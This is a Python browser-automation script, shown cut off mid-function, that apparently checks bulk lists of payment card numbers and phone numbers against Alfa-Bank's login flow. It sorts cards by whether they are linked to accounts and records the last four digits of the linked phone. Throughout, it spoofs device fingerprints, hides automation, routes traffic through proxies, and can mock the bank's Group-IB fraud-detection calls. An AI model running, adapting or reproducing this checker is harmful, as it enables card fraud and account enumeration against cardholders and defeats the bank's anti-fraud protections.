Загрузка данных


import json
import os
import random
import re
import ssl
import asyncio
import signal
import logging
from datetime import datetime
from pathlib import Path
from typing import Optional, List, Tuple
from urllib.parse import urlparse

ssl._create_default_https_context = ssl._create_unverified_context

import colorama
from colorama import Fore, Style
colorama.init()

logging.basicConfig(level=logging.CRITICAL)
for noisy in ("urllib3", "playwright", "asyncio"):
    logging.getLogger(noisy).setLevel(logging.CRITICAL)

from patchright.async_api import (
    async_playwright,
    Browser,
    BrowserContext,
    Page,
    TimeoutError as PWTimeoutError,
    Error as PWError,
)
from dotenv import load_dotenv

load_dotenv()

THREADS = 1
WAIT_TIMEOUT_MS = 12_000
NAV_TIMEOUT_MS = 30_000
HEADLESS = False
WORKER_START_DELAY = 0.3
MAX_ATTEMPTS = 5
POST_CLICK_TIMEOUT_MS = 10_000
INTER_CHECK_DELAY = (0.1, 0.2)
TYPING_DELAY_MS = (8, 15)
VERBOSE_ERRORS = True
VERIFY_PROXY = False
PROXY_GEO_URL = "https://ipinfo.io/json"
REQUIRED_COUNTRY = "RU"
COLLECT_HAR = False
HAR_DIR = os.path.join(os.getcwd(), "har")
MOCK_GROUPIB = False
PROBE_GROUPIB = False
GROUPIB_PROBE_URL = "https://groupib-ac.alfabank.ru/group-ib/idw-alfabank-retail"
LOG_XHR = False

TARGET_URL = os.environ.get(
    "TARGET",
    "https://private.auth.alfabank.ru/passport/cerberus-mini-blue/dashboard-blue/phone_auth?response_type=code&client_id=newclick-web&scope=openid%20newclick-web&redirect_uri=https%3A%2F%2Fweb.alfabank.ru%2Fopenid%2Fauthorize%2Fnewclick-web%3Fredirect_to%3Dhttps___web.alfabank.ru%2F&acr_values=phone_auth:sms&non_authorized_user=true",
)

BASE_DIR = os.getcwd()
RESULTS_DIR = os.path.join(BASE_DIR, "results")
os.makedirs(RESULTS_DIR, exist_ok=True)

FINGERPRINTS_FILE = os.path.join(BASE_DIR, "fingerprints_pool.json")
try:
    with open(FINGERPRINTS_FILE, encoding="utf-8") as fp_file:
        FINGERPRINTS: list[dict] = json.load(fp_file)
        if not isinstance(FINGERPRINTS, list):
            FINGERPRINTS = []
except Exception:
    FINGERPRINTS = []

MOBILE_PROFILES: list[dict] = [
    {
        "name": "Pixel 8",
        "ua": "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36",
        "viewport": {"width": 412, "height": 915},
        "dsf": 2.625,
        "sec_ch_ua": '"Chromium";v="131", "Google Chrome";v="131", "Not_A Brand";v="24"',
        "sec_ch_ua_full_version_list": '"Chromium";v="131.0.6778.85", "Google Chrome";v="131.0.6778.85", "Not_A Brand";v="24.0.0.0"',
        "sec_ch_ua_platform": '"Android"',
        "sec_ch_ua_platform_version": '"14.0.0"',
        "sec_ch_ua_model": '"Pixel 8"',
        "hardware_concurrency": 8,
        "device_memory": 8,
        "max_touch_points": 5,
    },
    {
        "name": "Pixel 7",
        "ua": "Mozilla/5.0 (Linux; Android 14; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36",
        "viewport": {"width": 412, "height": 915},
        "dsf": 2.625,
        "sec_ch_ua": '"Chromium";v="130", "Google Chrome";v="130", "Not_A Brand";v="99"',
        "sec_ch_ua_full_version_list": '"Chromium";v="130.0.6723.103", "Google Chrome";v="130.0.6723.103", "Not_A Brand";v="99.0.0.0"',
        "sec_ch_ua_platform": '"Android"',
        "sec_ch_ua_platform_version": '"14.0.0"',
        "sec_ch_ua_model": '"Pixel 7"',
        "hardware_concurrency": 8,
        "device_memory": 8,
        "max_touch_points": 5,
    },
    {
        "name": "Galaxy S23",
        "ua": "Mozilla/5.0 (Linux; Android 14; SM-S911B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36",
        "viewport": {"width": 360, "height": 780},
        "dsf": 3,
        "sec_ch_ua": '"Chromium";v="131", "Google Chrome";v="131", "Not_A Brand";v="24"',
        "sec_ch_ua_full_version_list": '"Chromium";v="131.0.6778.85", "Google Chrome";v="131.0.6778.85", "Not_A Brand";v="24.0.0.0"',
        "sec_ch_ua_platform": '"Android"',
        "sec_ch_ua_platform_version": '"14.0.0"',
        "sec_ch_ua_model": '"SM-S911B"',
        "hardware_concurrency": 8,
        "device_memory": 8,
        "max_touch_points": 10,
    },
    {
        "name": "Galaxy S22",
        "ua": "Mozilla/5.0 (Linux; Android 13; SM-S901B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36",
        "viewport": {"width": 360, "height": 780},
        "dsf": 3,
        "sec_ch_ua": '"Chromium";v="130", "Google Chrome";v="130", "Not_A Brand";v="99"',
        "sec_ch_ua_full_version_list": '"Chromium";v="130.0.6723.103", "Google Chrome";v="130.0.6723.103", "Not_A Brand";v="99.0.0.0"',
        "sec_ch_ua_platform": '"Android"',
        "sec_ch_ua_platform_version": '"13.0.0"',
        "sec_ch_ua_model": '"SM-S901B"',
        "hardware_concurrency": 8,
        "device_memory": 8,
        "max_touch_points": 10,
    },
    {
        "name": "OnePlus 11",
        "ua": "Mozilla/5.0 (Linux; Android 14; CPH2449) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Mobile Safari/537.36",
        "viewport": {"width": 412, "height": 915},
        "dsf": 3.5,
        "sec_ch_ua": '"Chromium";v="129", "Google Chrome";v="129", "Not=A?Brand";v="8"',
        "sec_ch_ua_full_version_list": '"Chromium";v="129.0.6668.100", "Google Chrome";v="129.0.6668.100", "Not=A?Brand";v="8.0.0.0"',
        "sec_ch_ua_platform": '"Android"',
        "sec_ch_ua_platform_version": '"14.0.0"',
        "sec_ch_ua_model": '"CPH2449"',
        "hardware_concurrency": 8,
        "device_memory": 12,
        "max_touch_points": 10,
    },
    {
        "name": "Xiaomi 13",
        "ua": "Mozilla/5.0 (Linux; Android 14; 2211133G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36",
        "viewport": {"width": 393, "height": 873},
        "dsf": 2.75,
        "sec_ch_ua": '"Chromium";v="131", "Google Chrome";v="131", "Not_A Brand";v="24"',
        "sec_ch_ua_full_version_list": '"Chromium";v="131.0.6778.85", "Google Chrome";v="131.0.6778.85", "Not_A Brand";v="24.0.0.0"',
        "sec_ch_ua_platform": '"Android"',
        "sec_ch_ua_platform_version": '"14.0.0"',
        "sec_ch_ua_model": '"2211133G"',
        "hardware_concurrency": 8,
        "device_memory": 8,
        "max_touch_points": 10,
    },
]

RU_TIMEZONES = [
    "Europe/Moscow", "Europe/Samara", "Asia/Yekaterinburg", "Asia/Omsk",
    "Asia/Novosibirsk", "Asia/Krasnoyarsk", "Asia/Irkutsk", "Asia/Vladivostok",
]

SAFE_FP_HEADERS = {
    "accept_language": "Accept-Language",
    "sec_gpc": "Sec-GPC",
}

def pick_fingerprint() -> Optional[dict]:
    return random.choice(FINGERPRINTS) if FINGERPRINTS else None

def pick_mobile_profile() -> dict:
    return random.choice(MOBILE_PROFILES)

def pick_timezone() -> str:
    return random.choice(RU_TIMEZONES)

def build_headers(device: dict, fp: Optional[dict]) -> dict[str, str]:
    headers: dict[str, str] = {
        "sec-ch-ua": device["sec_ch_ua"],
        "sec-ch-ua-mobile": "?1",
        "sec-ch-ua-platform": device["sec_ch_ua_platform"],
        "sec-ch-ua-platform-version": device["sec_ch_ua_platform_version"],
        "sec-ch-ua-full-version-list": device["sec_ch_ua_full_version_list"],
        "sec-ch-ua-model": device["sec_ch_ua_model"],
    }
    if fp:
        for key, header_name in SAFE_FP_HEADERS.items():
            v = fp.get(key)
            if v not in (None, ""):
                headers[header_name] = str(v)
        dnt = fp.get("dnt")
        if dnt is not None:
            headers["DNT"] = "1" if str(dnt).lower() in ("1", "true") else "0"
    headers.setdefault("Accept-Language", "ru-RU,ru;q=0.9,en;q=0.8")
    return headers

def parse_proxy(proxy_url: Optional[str]) -> Optional[dict]:
    if not proxy_url:
        return None
    p = urlparse(proxy_url)
    if not (p.hostname and p.port):
        return None
    scheme = p.scheme or "http"
    server = f"{scheme}://{p.hostname}:{p.port}"
    out = {"server": server}
    if p.username:
        out["username"] = p.username
    if p.password:
        out["password"] = p.password
    return out

SUPPORTED_SCHEMES = ("http://", "https://", "socks5://", "socks5h://", "socks4://", "socks4a://")

def format_proxy(line: str) -> str:
    raw = line.strip()
    if not raw:
        return raw
    scheme = "http://"
    rest = raw
    for s in SUPPORTED_SCHEMES:
        if rest.lower().startswith(s):
            scheme = rest[: len(s)].lower()
            rest = rest[len(s):]
            break
    creds = ""
    hostpart = rest
    if "@" in rest:
        creds, _, hostpart = rest.rpartition("@")
    parts = [p for p in hostpart.split(":") if p != ""]
    if creds:
        cparts = creds.split(":", 1)
        user = cparts[0]
        passw = cparts[1] if len(cparts) > 1 else ""
        if len(parts) >= 2:
            host, port = parts[0], parts[1]
            return f"{scheme}{user}:{passw}@{host}:{port}"
        return f"{scheme}{creds}@{hostpart}"
    if len(parts) == 2:
        host, port = parts
        return f"{scheme}{host}:{port}"
    if len(parts) == 4:
        a, b, c, d = parts
        if a.isdigit() is False and b.isdigit() is False:
            user, passw, host, port = a, b, c, d
        elif c.isdigit() is False and d.isdigit() is False:
            host, port, user, passw = a, b, c, d
        elif b.isdigit() and not d.isdigit():
            host, port, user, passw = a, b, c, d
        else:
            user, passw, host, port = a, b, c, d
        return f"{scheme}{user}:{passw}@{host}:{port}"
    if len(parts) == 3:
        host, port, extra = parts
        return f"{scheme}{host}:{port}:{extra}"
    return raw

def load_lines(filename: str) -> list[str]:
    path = Path(filename)
    if not path.exists():
        return []
    return [l.strip() for l in path.read_text(encoding="utf-8").splitlines() if l.strip()]

def load_proxies() -> list[str]:
    return [format_proxy(l) for l in load_lines("proxy.txt") if not l.startswith("#")]

def load_phones() -> list[str]:
    result = []
    for num in load_lines("phones.txt"):
        d = re.sub(r"\D", "", num)
        if len(d) < 10:
            continue
        if d.startswith("8"):
            d = "7" + d[1:]
        if not d.startswith("7"):
            d = "7" + d
        result.append("+" + d[:11])
    return result

def extract_cards(line: str) -> List[Tuple[str, str]]:
    seen = set()
    result = []
    for c in re.findall(r"\d{16}", re.sub(r"[\s\-]", "", line)):
        if c not in seen:
            seen.add(c)
            result.append((c, line))
    return result

def load_tasks() -> List[Tuple[str, str]]:
    tasks = []
    for line in load_lines("strock.txt"):
        tasks.extend(extract_cards(line))
    return tasks

def load_checked() -> set:
    checked = set()
    for fn in ("valid.txt", "НВ.txt", "ПБ.txt", "errors.txt"):
        p = os.path.join(RESULTS_DIR, fn)
        if not os.path.exists(p):
            continue
        with open(p, encoding="utf-8") as f:
            for line in f:
                m = re.search(r"\d{16}", line)
                if m:
                    checked.add(m.group())
    return checked

file_lock = asyncio.Lock()
print_lock = asyncio.Lock()

class Stats:
    __slots__ = ("_lock", "valid", "nv", "pb", "errors", "total", "all", "start_time")
    def __init__(self):
        self._lock = asyncio.Lock()
        self.valid = self.nv = self.pb = self.errors = self.total = self.all = 0
        self.start_time: Optional[datetime] = None
    async def inc(self, kind: str):
        async with self._lock:
            if kind == "valid":   self.valid += 1
            elif kind == "nv":    self.nv += 1
            elif kind == "pb":    self.pb += 1
            else:                 self.errors += 1
            self.total += 1
    @property
    async def speed(self) -> int:
        if not self.start_time:
            return 0
        elapsed = (datetime.now() - self.start_time).total_seconds()
        return round(self.total / elapsed * 60) if elapsed >= 1 else 0
    @property
    async def progress(self) -> str:
        if self.all == 0:
            return ""
        async with self._lock:
            pct = int(self.total / self.all * 100)
            spd = await self.speed
            return f"{Style.DIM}[{self.total}/{self.all}] {pct}% ~{spd}/мин{Style.RESET_ALL}"
    async def update_title(self):
        try:
            import ctypes
            async with self._lock:
                ctypes.windll.kernel32.SetConsoleTitleW(
                    f"Alfa Card | V:{self.valid} НВ:{self.nv} ПБ:{self.pb} ERR:{self.errors} | {self.total}/{self.all}"
                )
        except (AttributeError, OSError):
            pass

stats = Stats()

def ts() -> str:
    return datetime.now().strftime("%H:%M:%S")

async def _append(filename: str, text: str):
    async with file_lock:
        with open(os.path.join(RESULTS_DIR, filename), "a", encoding="utf-8") as f:
            f.write(f"{text}\n")

async def log_valid(last4: str, card: str, line: str):
    await stats.inc("valid")
    await stats.update_title()
    async with print_lock:
        print(f"{Style.DIM}[{ts()}]{Style.RESET_ALL}  {Style.BRIGHT}{Fore.GREEN}VALID *{last4}{Style.RESET_ALL}  {Fore.CYAN}{card[:4]}...{card[-4:]}{Style.RESET_ALL}  {Fore.WHITE}{line[:80]}{Style.RESET_ALL}  {await stats.progress}")
    await _append("valid.txt", f"{last4} {line}")

async def log_nv(card: str, line: str):
    await stats.inc("nv")
    await stats.update_title()
    async with print_lock:
        print(f"{Style.DIM}[{ts()}]{Style.RESET_ALL}  {Style.BRIGHT}{Fore.RED}НВ{Style.RESET_ALL}  {Fore.CYAN}{card[:4]}...{card[-4:]}{Style.RESET_ALL}  {Fore.WHITE}{line[:80]}{Style.RESET_ALL}  {await stats.progress}")
    await _append("НВ.txt", f"НВ - {line}")

async def log_pb(card: str, line: str):
    await stats.inc("pb")
    await stats.update_title()
    async with print_lock:
        print(f"{Style.DIM}[{ts()}]{Style.RESET_ALL}  {Style.BRIGHT}{Fore.YELLOW}ПБ{Style.RESET_ALL}  {Fore.CYAN}{card[:4]}...{card[-4:]}{Style.RESET_ALL}  {Fore.WHITE}{line[:80]}{Style.RESET_ALL}  {await stats.progress}")
    await _append("ПБ.txt", line)

async def log_error(card: str, line: str, reason: str):
    await stats.inc("error")
    await stats.update_title()
    async with print_lock:
        print(f"{Style.DIM}[{ts()}]{Style.RESET_ALL}  {Style.BRIGHT}{Fore.LIGHTBLACK_EX}ERR{Style.RESET_ALL}  {Fore.CYAN}{card[:4]}...{card[-4:]}{Style.RESET_ALL}  {Style.DIM}{reason}{Style.RESET_ALL}  {await stats.progress}")
    await _append("errors.txt", f"{line} | {reason}")

def next_har_path(worker_id: int) -> Optional[str]:
    if not COLLECT_HAR:
        return None
    os.makedirs(HAR_DIR, exist_ok=True)
    fname = f"w{worker_id}_{datetime.now().strftime('%Y%m%d_%H%M%S')}_{random.randint(0, 9999):04d}.har"
    return os.path.join(HAR_DIR, fname)

async def new_context(
    browser: Browser,
    proxy: Optional[str],
    fp: Optional[dict],
    worker_id: int,
) -> tuple[BrowserContext, Page]:
    device = pick_mobile_profile()
    timezone_id = pick_timezone()
    locale = "ru-RU"
    if fp and fp.get("accept_language"):
        locale = str(fp["accept_language"]).split(",")[0].strip() or "ru-RU"
    base_vp = device["viewport"]
    viewport = {
        "width": base_vp["width"],
        "height": base_vp["height"] + random.choice((-12, -6, 0, 6, 12)),
    }
    kwargs: dict = {
        "locale": locale,
        "timezone_id": timezone_id,
        "viewport": viewport,
        "screen": viewport,
        "device_scale_factor": device["dsf"],
        "is_mobile": True,
        "has_touch": True,
        "user_agent": device["ua"],
        "color_scheme": random.choice(("light", "dark")),
        "reduced_motion": random.choice(("no-preference", "reduce")),
        "extra_http_headers": build_headers(device, fp),
    }
    proxy_cfg = parse_proxy(proxy)
    if proxy_cfg:
        kwargs["proxy"] = proxy_cfg
    har_path = next_har_path(worker_id)
    if har_path:
        kwargs["record_har_path"] = har_path
        kwargs["record_har_content"] = "embed"
        kwargs["record_har_mode"] = "full"
    context = await browser.new_context(**kwargs)
    await context.add_init_script(
        f"""(() => {{
            try {{ Object.defineProperty(navigator, 'hardwareConcurrency', {{ get: () => {device['hardware_concurrency']} }}); }} catch (_) {{}}
            try {{ Object.defineProperty(navigator, 'deviceMemory', {{ get: () => {device['device_memory']} }}); }} catch (_) {{}}
            try {{ Object.defineProperty(navigator, 'maxTouchPoints', {{ get: () => {device['max_touch_points']} }}); }} catch (_) {{}}
            try {{ Object.defineProperty(navigator, 'platform', {{ get: () => 'Linux armv81' }}); }} catch (_) {{}}
            try {{ Object.defineProperty(navigator, 'vendor', {{ get: () => 'Google Inc.' }}); }} catch (_) {{}}
            try {{ Object.defineProperty(navigator, 'webdriver', {{ get: () => false }}); }} catch (_) {{}}
        }})();"""
    )
    if MOCK_GROUPIB:
        async def mock_gib(route):
            try:
                await route.fulfill(
                    status=200,
                    headers={
                        "Access-Control-Allow-Origin": "*",
                        "Access-Control-Allow-Credentials": "true",
                        "Access-Control-Allow-Methods": "GET,POST,OPTIONS",
                        "Access-Control-Allow-Headers": "*",
                        "Content-Type": "application/json",
                    },
                    body="{}",
                )
            except Exception:
                try:
                    await route.continue_()
                except Exception:
                    pass
        await context.route("**/groupib-ac.alfabank.ru/**", mock_gib)
        await context.route("**/id.facct.ru/**", mock_gib)
    context.set_default_timeout(WAIT_TIMEOUT_MS)
    context.set_default_navigation_timeout(NAV_TIMEOUT_MS)
    page = await context.new_page()
    if VERBOSE_ERRORS:
        async with print_lock:
            print(
                f"{Style.DIM}[worker {worker_id}] профиль: {device['name']} "
                f"{viewport['width']}x{viewport['height']} @ {device['dsf']}x, tz={timezone_id}{Style.RESET_ALL}"
            )
    return context, page

async def safe_close_context(context: Optional[BrowserContext]):
    if context is not None:
        try:
            await context.close()
        except Exception:
            pass

async def reset_context_session(context: BrowserContext, page: Optional[Page]):
    try:
        await context.clear_cookies()
    except Exception:
        pass
    try:
        await context.clear_permissions()
    except Exception:
        pass
    if page is None:
        return
    try:
        await page.evaluate(
            """() => {
                try { localStorage.clear(); } catch (_) {}
                try { sessionStorage.clear(); } catch (_) {}
                try {
                    if (window.indexedDB && indexedDB.databases) {
                        indexedDB.databases().then(dbs => {
                            (dbs || []).forEach(d => { try { indexedDB.deleteDatabase(d.name); } catch (_) {} });
                        }).catch(() => {});
                    }
                } catch (_) {}
                try {
                    if (navigator.serviceWorker && navigator.serviceWorker.getRegistrations) {
                        navigator.serviceWorker.getRegistrations().then(rs => {
                            rs.forEach(r => { try { r.unregister(); } catch (_) {} });
                        }).catch(() => {});
                    }
                } catch (_) {}
                try {
                    if (window.caches && caches.keys) {
                        caches.keys().then(keys => {
                            keys.forEach(k => { try { caches.delete(k); } catch (_) {} });
                        }).catch(() => {});
                    }
                } catch (_) {}
            }"""
        )
    except Exception:
        pass

async def verify_proxy(context: BrowserContext) -> tuple[bool, str]:
    try:
        resp = await context.request.get(PROXY_GEO_URL, timeout=10_000)
        if not resp.ok:
            return False, f"HTTP {resp.status}"
        data = await resp.json()
        ip = data.get("ip", "?")
        country = (data.get("country") or "").upper()
        org = data.get("org", "")
        info = f"{ip} [{country}] {org}".strip()
        if REQUIRED_COUNTRY and country != REQUIRED_COUNTRY.upper():
            return False, f"не {REQUIRED_COUNTRY}: {info}"
        return True, info
    except Exception as e:
        return False, f"{type(e).__name__}: {str(e).splitlines()[0][:100]}"

async def dismiss_incognito(page: Page):
    for _ in range(3):
        try:
            for sel in ['text=Продолжить с ограничениями', 'button:has-text("Продолжить с ограничениями")']:
                btn = page.locator(sel).first
                if await btn.is_visible(timeout=500):
                    await btn.click()
                    await asyncio.sleep(0.5)
                    return True
        except Exception:
            pass
        try:
            ok = await page.evaluate("""() => {
                for(const b of document.querySelectorAll('button, a, div[role=button]')) {
                    if((b.innerText||'').includes('Продолжить с ограничениями')) { b.click(); return true; }
                }
                return false;
            }""")
            if ok:
                await asyncio.sleep(0.5)
                return True
        except Exception:
            pass
    return False

async def get_sms_last4(page: Page) -> str:
    try:
        texts = await page.evaluate("""() => {
            const res = [];
            for (const e of document.querySelectorAll('*')) {
                if (e.children.length === 0 && e.textContent) {
                    const t = e.textContent.trim();
                    if (t.includes('Отправили') || t.includes('•••') || t.includes('***')) res.push(t);
                }
            }
            return res;
        }""")
        for text in texts:
            clean = text.replace("\xa0", " ").replace("\u2022", "*").replace("\u00b7", "*")
            m = re.search(r"(?:\+7)?.*?(?:\*|-){3,}[^\d]{0,10}(\d{2})[\s\-]*(\d{2})(?!\d)", clean)
            if m:
                return m.group(1) + m.group(2)
            m = re.search(r"(?:\+7)?.*?(?:\*|-){3,}[^\d]{0,10}(\d{4})(?!\d)", clean)
            if m:
                return m.group(1)
    except Exception:
        pass
    return "0000"

async def wait_for_valid_last4(page: Page) -> Tuple[str, Optional[str]]:
    for _ in range(10):
        await asyncio.sleep(0.5)
        last4 = await get_sms_last4(page)
        if last4 != "0000":
            return "valid", last4
    return "valid", "0000"

def detect_state(text: str, url: str) -> Optional[str]:
    if "Не получилось войти" in text and ("Попробуйте ещё раз сейчас или позже" in text or "Если ошибка повторится" in text):
        return "blocked"
    if any(k in text for k in ("Access Denied", "Слишком много попыток", "Подозрительная активность")):
        return "blocked"
    if any(k in text for k in (
        "Не получилось войти", "Пользователь не найден",
        "Вход в банк недоступен", "Защищаем ваши деньги",
        "Позвоните нам", "Позвонить в банк"
    )):
        return "nv"
    if any(k in text for k in ("Проверка безопасности", "Необходимо пройти проверку безопасности", "group-ib", "facct")) or any(k in urlparse(url).path for k in ("/group-ib", "/facct")):
        return "pb"
    if any(k in text for k in ("Введите код из сообщения", "Введите код", "Код отправлен", "Введите пароль")) or any(k in urlparse(url).path for k in ("/password_auth", "/code")):
        return "valid"
    return None

def url_path(url: str) -> str:
    return urlparse(url).path

async def handle_code_or_other_method(page: Page, wid: int) -> bool:
    card_input_count = await page.locator('[data-test-id="card-input"], input[aria-label*="арт"]').count()
    if card_input_count > 0:
        return False
    try:
        body_text = await page.locator("body").inner_text(timeout=2_000)
        body_lower = body_text.lower()
    except Exception:
        return False
    if any(word in body_lower for word in ("номер карты", "номер вашей карты")):
        return False
    code_requested = any(ind in body_text for ind in ("Введите код", "Код отправлен", "Подтверждение"))
    other_method_visible = "Войти другим способом" in body_text
    if not code_requested and not other_method_visible:
        return False
    if other_method_visible:
        for sel in [
            "//button[contains(.,'Войти другим способом')]",
            "//a[contains(.,'Войти другим способом')]",
            "//*[contains(.,'Войти другим способом') and (self::button or self::a)]",
        ]:
            try:
                btn = page.locator(sel).first
                await btn.wait_for(state="visible", timeout=5_000)
                await btn.click()
                await asyncio.sleep(random.uniform(0.5, 1.0))
                break
            except Exception:
                continue
        else:
            try:
                await page.evaluate("""() => {
                    for(const el of document.querySelectorAll('button, a, [role=button]')) {
                        if((el.innerText||'').includes('Войти другим способом')){el.click();return true;}
                    }
                    return false;
                }""")
                await asyncio.sleep(1.0)
            except Exception:
                pass
    for _ in range(3):
        await asyncio.sleep(1.0)
        try:
            body_text = await page.locator("body").inner_text(timeout=3_000)
        except Exception:
            continue
        if "Номер карты" in body_text:
            for sel in [
                "//*[contains(.,'Номер карты') and (self::button or self::a or self::div or self::li)]",
                "//button[contains(.,'Номер карты')]",
                "//a[contains(.,'Номер карты')]",
            ]:
                try:
                    opt = page.locator(sel).first
                    await opt.wait_for(state="visible", timeout=5_000)
                    await opt.click()
                    await asyncio.sleep(random.uniform(0.5, 1.0))
                    return True
                except Exception:
                    continue
            try:
                await page.evaluate("""() => {
                    for(const el of document.querySelectorAll('button, a, [role=button], li, div')) {
                        if((el.innerText||'').includes('Номер карты')){el.click();return true;}
                    }
                    return false;
                }""")
                await asyncio.sleep(1.0)
                return True
            except Exception:
                pass
    return False

async def check_card(page: Page, phone: str, card: str, stop_flag: list, worker_id: int = 0) -> Tuple[str, Optional[str]]:
    if stop_flag[0]:
        return "skip", None

    retried = False
    block_retry_used = False

    async def setup_api_monitor(page: Page):
        async def on_response(resp):
            try:
                if resp.request.resource_type not in ("xhr", "fetch"):
                    return
                url = resp.url
                if not any(k in url for k in ("cerberus", "checkLogin", "passport")):
                    return
                status = resp.status
                body_text = None
                try:
                    body_text = await resp.text()
                except Exception:
                    pass
                if status != 200:
                    if VERBOSE_ERRORS:
                        async with print_lock:
                            print(f"{Style.DIM}[worker {worker_id}] API RESP {status} {url}: {body_text[:500] if body_text else 'no body'}{Style.RESET_ALL}")
                if body_text and "application/json" in (resp.headers.get("content-type", "")):
                    try:
                        j = json.loads(body_text)
                        if any(k in j for k in ("error", "message")) or j.get("status") == "fail":
                            if VERBOSE_ERRORS:
                                async with print_lock:
                                    print(f"{Style.DIM}[worker {worker_id}] API FAIL {url}: {body_text[:500]}{Style.RESET_ALL}")
                    except Exception:
                        pass
            except Exception:
                pass
        page.on("response", lambda resp: asyncio.create_task(on_response(resp)))

    await setup_api_monitor(page)

    await page.goto(TARGET_URL, wait_until="networkidle", timeout=NAV_TIMEOUT_MS)
    await page.wait_for_timeout(random.randint(1000, 1500))
    await dismiss_incognito(page)

    try:
        body0 = await page.locator("body").inner_text(timeout=3_000)
    except Exception:
        body0 = ""
    st0 = detect_state(body0, page.url)
    if st0:
        if st0 == "valid":
            return await wait_for_valid_last4(page)
        if st0 == "pb":
            return "pb", None
        if st0 == "nv":
            return "nv", None
        return "blocked", None

    phone_loc = page.locator('input[autocomplete="tel"]').first
    try:
        await phone_loc.wait_for(state="visible", timeout=WAIT_TIMEOUT_MS)
    except PWTimeoutError:
        return "blocked", None

    await phone_loc.click()
    await asyncio.sleep(0.05)
    await phone_loc.fill("")
    await asyncio.sleep(0.05)
    await phone_loc.fill(phone)
    await asyncio.sleep(0.1)

    await dismiss_incognito(page)
    fwd = page.locator('button:has-text("Вперёд")').first
    try:
        await fwd.wait_for(state="visible", timeout=3_000)
        await fwd.click()
    except Exception:
        fwd = page.locator('button[type="submit"]').first
        try:
            await fwd.wait_for(state="visible", timeout=3_000)
            await fwd.click()
        except Exception:
            await phone_loc.press("Enter")

    await asyncio.sleep(0.5)
    await dismiss_incognito(page)
    await asyncio.sleep(1.5)
    await dismiss_incognito(page)

    if await handle_code_or_other_method(page, worker_id):
        await asyncio.sleep(random.uniform(0.5, 1.0))
        body, _ = await page.locator("body").inner_text(), page.url
        st = detect_state(body, page.url)
        if st:
            return (await wait_for_valid_last4(page)) if st == "valid" else (st, None)

    path = url_path(page.url)
    if "phone_auth" in path:
        await phone_loc.press("Enter")
        await asyncio.sleep(2.0)
        await dismiss_incognito(page)
        path = url_path(page.url)
        if "phone_auth" in path:
            if VERBOSE_ERRORS:
                async with print_lock:
                    print(f"{Style.DIM}[worker {worker_id}] повторный Enter не помог, перезагружаем страницу{Style.RESET_ALL}")
            try:
                await page.reload(wait_until="networkidle", timeout=NAV_TIMEOUT_MS)
            except Exception:
                return "blocked", None
            await page.wait_for_timeout(random.randint(1000, 1500))
            await dismiss_incognito(page)
            await phone_loc.wait_for(state="visible", timeout=WAIT_TIMEOUT_MS)
            await phone_loc.click()
            await phone_loc.fill("")
            await phone_loc.fill(phone)
            await asyncio.sleep(0.1)
            await dismiss_incognito(page)
            fwd = page.locator('button:has-text("Вперёд")').first
            try:
                await fwd.wait_for(state="visible", timeout=3_000)
                await fwd.click()
            except Exception:
                fwd = page.locator('button[type="submit"]').first
                try:
                    await fwd.wait_for(state="visible", timeout=3_000)
                    await fwd.click()
                except Exception:
                    await phone_loc.press("Enter")
            await asyncio.sleep(0.5)
            await dismiss_incognito(page)
            await asyncio.sleep(1.5)
            await dismiss_incognito(page)
            if await handle_code_or_other_method(page, worker_id):
                await asyncio.sleep(random.uniform(0.5, 1.0))
                body, _ = await page.locator("body").inner_text(), page.url
                st = detect_state(body, page.url)
                if st:
                    return (await wait_for_valid_last4(page)) if st == "valid" else (st, None)

    path = url_path(page.url)
    if any(x in path for x in ("card_account", "card_auth")):
        pass
    else:
        body1 = await page.locator("body").inner_text(timeout=3_000)
        st1 = detect_state(body1, page.url)
        if st1:
            if st1 == "valid":
                return await wait_for_valid_last4(page)
            if st1 == "pb":
                return "pb", None
            if st1 == "nv":
                return "nv", None
            return "blocked", None

    await asyncio.sleep(0.2)
    card_loc = page.locator('input[aria-label="Номер карты"]').first
    try:
        await card_loc.wait_for(state="visible", timeout=8_000)
    except Exception:
        card_loc = page.locator('input[type="text"]').first
        try:
            await card_loc.wait_for(state="visible", timeout=4_000)
        except Exception:
            return "blocked", None

    await card_loc.click()
    await asyncio.sleep(0.05)
    await card_loc.fill("")
    await asyncio.sleep(0.05)
    for ch in card:
        if stop_flag[0]:
            return "skip", None
        await card_loc.type(ch, delay=random.randint(*TYPING_DELAY_MS))
    await asyncio.sleep(0.5)
    try:
        val = await card_loc.input_value()
        digits_only = re.sub(r"\D", "", val)
        if len(digits_only) != 16:
            await card_loc.fill("")
            for ch in card:
                if stop_flag[0]:
                    return "skip", None
                await card_loc.type(ch, delay=random.randint(*TYPING_DELAY_MS))
            await asyncio.sleep(0.5)
    except Exception:
        pass

    btn = page.locator('button:has-text("Продолжить")').first
    try:
        await btn.wait_for(state="visible", timeout=5_000)
    except Exception:
        await card_loc.press("Enter")
        btn = None

    if btn is not None:
        for _ in range(10):
            try:
                is_disabled = await btn.evaluate("b => b.disabled")
                if not is_disabled:
                    break
            except Exception:
                pass
            await asyncio.sleep(0.3)
        try:
            await btn.click()
        except Exception:
            await card_loc.press("Enter")

    for _ in range(16):
        await asyncio.sleep(0.5)
        await dismiss_incognito(page)
        try:
            body = await page.locator("body").inner_text(timeout=3_000)
        except Exception:
            body = ""
        url = page.url

        st = detect_state(body, url)
        if st == "valid":
            return await wait_for_valid_last4(page)
        if st == "pb":
            return "pb", None
        if st == "nv":
            return "nv", None
        if st == "blocked":
            return "blocked", None

    btn = page.locator('button:has-text("Продолжить")').first
    if await btn.is_visible(timeout=1000):
        try:
            await btn.click()
        except Exception:
            await card_loc.press("Enter")
        await asyncio.sleep(2.0)
        for _ in range(8):
            await asyncio.sleep(0.5)
            try:
                body = await page.locator("body").inner_text(timeout=2_000)
            except Exception:
                body = ""
            st = detect_state(body, page.url)
            if st:
                if st == "valid":
                    return await wait_for_valid_last4(page)
                return st, None
        if VERBOSE_ERRORS:
            async with print_lock:
